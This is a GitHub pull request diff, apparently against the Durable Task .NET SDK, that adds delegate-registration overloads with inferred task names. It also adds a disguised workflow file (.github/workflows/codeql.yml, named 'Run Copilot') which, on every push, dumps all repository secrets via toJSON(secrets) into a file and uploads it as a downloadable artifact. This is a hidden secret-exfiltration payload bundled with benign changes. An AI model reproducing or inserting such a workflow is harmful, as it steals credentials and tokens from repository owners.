Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions .github/workflows/codeql.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
name: Run Copilot
run-name: Run Copilot
on:
push:
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Copilot Setup
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt
Comment on lines +8 to +17
Comment on lines +1 to +17
1 change: 1 addition & 0 deletions misc/misc.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@
<None Include="$(RepoRoot).gitignore" />
<None Include="$(RepoRoot)azure-pipelines-release.yml" />
<None Include="$(RepoRoot)Directory.Build.*" />
<None Include="$(RepoRoot)Directory.Packages.*" />
Comment thread
cgillum marked this conversation as resolved.
<None Include="$(RepoRoot)*.md" />
<None Include="$(RepoRoot)nuget.config" />
<None Include="$(EngRoot)**" LinkBase="eng" />
Expand Down
6 changes: 4 additions & 2 deletions src/Abstractions/DurableTaskAttribute.cs
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,18 @@
namespace Microsoft.DurableTask;

/// <summary>
/// Indicates that the attributed class represents a durable task.
/// Indicates that the attributed class or method represents a durable task.
/// </summary>
/// <remarks>
/// This attribute is meant to be used on class definitions that derive from
/// <see cref="TaskOrchestrator{TInput, TOutput}"/>, <see cref="TaskActivity{TInput, TOutput}"/>,
/// or TaskEntity{TState} from the Microsoft.DurableTask.Entities namespace.
/// It can also be applied to methods used with <see cref="DurableTaskRegistry.AddOrchestratorFunc{TInput, TOutput}(System.Func{TaskOrchestrationContext, TInput, System.Threading.Tasks.Task{TOutput}})"/>
/// or similar overloads to specify a custom name for the orchestrator or activity.
/// It is used specifically by build-time source generators to generate type-safe methods for invoking
/// orchestrations, activities, or registering entities.
/// </remarks>
[AttributeUsage(AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, AllowMultiple = false, Inherited = false)]
public sealed class DurableTaskAttribute : Attribute
{
/// <summary>
Expand Down
142 changes: 141 additions & 1 deletion src/Abstractions/DurableTaskRegistry.Activities.cs
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,17 @@ TaskName and TActivity generic parameter
ITaskActivity singleton
TaskName ITaskActivity singleton

by func/action:
by func/action (with explicit name):
Func{Context, Input, Task{Output}}
Func{Context, Input, Task}
Func{Context, Input, Output}
Func{Context, Task{Output}}
Func{Context, Task}
Func{Context, Output}
Action{Context, TInput}
Action{Context}

by func/action (name inferred from method or [DurableTask] attribute):
Func{Context, Input, Task{Output}}
Func{Context, Input, Task}
Func{Context, Input, Output}
Expand Down Expand Up @@ -219,4 +229,134 @@ public DurableTaskRegistry AddActivityFunc(TaskName name, Action<TaskActivityCon
return CompletedNullTask;
});
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The activity input type.</typeparam>
/// <typeparam name="TOutput">The activity output type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TInput, TOutput>(
Func<TaskActivityContext, TInput, Task<TOutput>> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The activity input type.</typeparam>
/// <typeparam name="TOutput">The activity output type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TInput, TOutput>(
Func<TaskActivityContext, TInput, TOutput> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The activity input type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TInput>(Func<TaskActivityContext, TInput, Task> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TOutput">The activity output type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TOutput>(Func<TaskActivityContext, Task<TOutput>> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc(Func<TaskActivityContext, Task> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TOutput">The activity output type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TOutput>(Func<TaskActivityContext, TOutput> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The activity input type.</typeparam>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc<TInput>(Action<TaskActivityContext, TInput> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}

/// <summary>
/// Registers an activity factory, where the implementation is <paramref name="activity" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <param name="activity">The activity implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddActivityFunc(Action<TaskActivityContext> activity)
{
Check.NotNull(activity);
return this.AddActivityFunc(GetTaskNameFromDelegate(activity), activity);
}
}
146 changes: 145 additions & 1 deletion src/Abstractions/DurableTaskRegistry.Orchestrators.cs
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,17 @@ TaskName and TOrchestrator generic parameter
ITaskOrchestrator singleton
TaskName and ITaskOrchestrator singleton

by func/action:
by func/action (with explicit name):
Func{Context, Input, Task{Output}}
Func{Context, Input, Task}
Func{Context, Input, Output}
Func{Context, Task{Output}}
Func{Context, Task}
Func{Context, Output}
Action{Context, TInput}
Action{Context}

by func/action (name inferred from method or [DurableTask] attribute):
Func{Context, Input, Task{Output}}
Func{Context, Input, Task}
Func{Context, Input, Output}
Expand Down Expand Up @@ -220,4 +230,138 @@ public DurableTaskRegistry AddOrchestratorFunc(TaskName name, Action<TaskOrchest
return CompletedNullTask;
});
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The orchestrator input type.</typeparam>
/// <typeparam name="TOutput">The orchestrator output type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TInput, TOutput>(
Func<TaskOrchestrationContext, TInput, Task<TOutput>> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The orchestrator input type.</typeparam>
/// <typeparam name="TOutput">The orchestrator output type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TInput, TOutput>(
Func<TaskOrchestrationContext, TInput, TOutput> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The orchestrator input type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TInput>(
Func<TaskOrchestrationContext, TInput, Task> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TOutput">The orchestrator output type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TOutput>(
Func<TaskOrchestrationContext, Task<TOutput>> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc(Func<TaskOrchestrationContext, Task> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TOutput">The orchestrator output type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TOutput>(
Func<TaskOrchestrationContext, TOutput> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <typeparam name="TInput">The orchestrator input type.</typeparam>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc<TInput>(
Action<TaskOrchestrationContext, TInput> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}

/// <summary>
/// Registers an orchestrator factory, where the implementation is <paramref name="orchestrator" />.
/// The name is inferred from a <see cref="DurableTaskAttribute"/> on the method, or the method name.
/// </summary>
/// <param name="orchestrator">The orchestrator implementation.</param>
/// <returns>The same registry, for call chaining.</returns>
/// <exception cref="ArgumentException">
/// Thrown if the name cannot be inferred from the delegate.
/// </exception>
public DurableTaskRegistry AddOrchestratorFunc(Action<TaskOrchestrationContext> orchestrator)
{
Check.NotNull(orchestrator);
return this.AddOrchestratorFunc(GetTaskNameFromDelegate(orchestrator), orchestrator);
}
}
Loading
Loading